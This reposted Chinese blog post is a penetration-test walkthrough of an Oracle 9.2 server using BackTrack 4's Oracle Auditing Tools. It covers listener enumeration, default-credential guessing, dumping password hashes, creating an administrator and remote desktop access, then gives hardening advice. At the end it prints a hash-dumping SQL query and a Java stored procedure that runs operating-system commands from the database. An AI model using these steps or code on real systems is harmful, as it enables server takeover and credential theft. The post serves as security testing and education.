這次的内容是用 BackTrack 4 檢測ORACLE伺服器的安全性。
BackTrack 4 整合了很多hack軟體,作為測試的一個平台系統,使用BackTrack做各種測試是很友善的。
BT4裡内嵌了一套針對ORACLE資料庫的檢測工具集:OAT(Oracle Auditing Tools)
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190605591.jpg"></a>
當然開始前還需要安裝 JAVA 和 ORACLE JDBC下載下傳位址:
Java Runtime Environment
Oracle JDBC Driver (classes111.zip or classes12.zip)
準備工作一切就緒,我們開始進行檢測~~
一 我們先使用 otnsctl 來看看ORACLE伺服器是使用什麼作業系統、資料庫版本、SID名稱及詳細的Services服務資訊
指令格式:./otnsctl.sh -s ip -I windows
成功連接配接後會出現tnscmd>提示符,有4項功能:1設定連接配接監聽器的密碼 2 檢視服務資訊 3 SID資訊 4 檢視資料庫版本
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190638698.jpg"></a>
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190708107.jpg"></a>
現在我們獲知這台oracle伺服器作業系統是32位WINDOWS,資料庫版本是9.2.0.1.0,SID是:STARLIMS。
二 接着使用 opwg.sh 檢測使用者和密碼,看是否存在疏忽遺漏的預設密碼。
指令格式:./opwg.sh -s ip
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190740288.jpg"></a>
檢測出了SID和一個預設使用者密碼。
三 有了使用者密碼、SID。就可以用 oquery.sh 執行SQL語句查詢。
指令格式:./oquery.sh -s ip -u name -p password -d SID
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190812709.jpg"></a>
知道目前使用者密碼還是DBA權限,GOOD~
四 再要進行深入,用ORACLE用戶端連接配接就簡單很多。
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190843958.jpg"></a>
用SQL腳本直接執行指令(比起手寫輸入要省事),查詢使用者HASH。
<a target="_blank" href="http://blog.51cto.com/attachment/201108/190924137.jpg"></a>
最後就是嘗試建立管理者使用者。
<a target="_blank" href="http://blog.51cto.com/attachment/201108/191007979.jpg"></a>
使用rdesktop連接配接遠端桌面。
<a target="_blank" href="http://blog.51cto.com/attachment/201108/191106587.jpg"></a>
<a target="_blank" href="http://blog.51cto.com/attachment/201108/191126238.jpg"></a>
檢測目的達到,由于資料庫沒有把dbsnmp這個預設使用者設定為locked,在基本資訊洩露後,通過該使用者連接配接到資料庫,導緻伺服器失陷,如伺服器後面還有域的話,
或會被滲透,那對于整個内網來說将會是災難。
檢測結束删除剛才建立的使用者,恢複原來狀态。
<a target="_blank" href="http://blog.51cto.com/attachment/201108/191244781.jpg"></a>
建議不需要listener的就關閉監聽。把不使用的預設使用者設定LOCKED狀态。使用者權限要設定清晰,多餘權限一律不予配置設定。
就寫到這。由于本人剛開始學習,文中難免有錯漏,希望各位見諒,吾還在不斷努力學習中。。。 ^-^
PS:貼出文中提到的SQL代碼
see.sql
====================================================
select a.username, a.password
from sys.dba_users a left outer join sys.dba_users b on
b.username = a.username
;
java.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer
, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
e.printStackTrace();
RC = -1;
finally
return RC;
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
language java
name 'util.RunThis(java.lang.String) return integer';
create or replace procedure RC(p_cmd in varChar)
x number;
begin
x := RUN_CMz(p_cmd);
end;
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
exec :x:=run_cmz('net1 user');
本文轉自enables 51CTO部落格,原文連結:http://blog.51cto.com/niuzu/638582,如需轉載請自行聯系原作者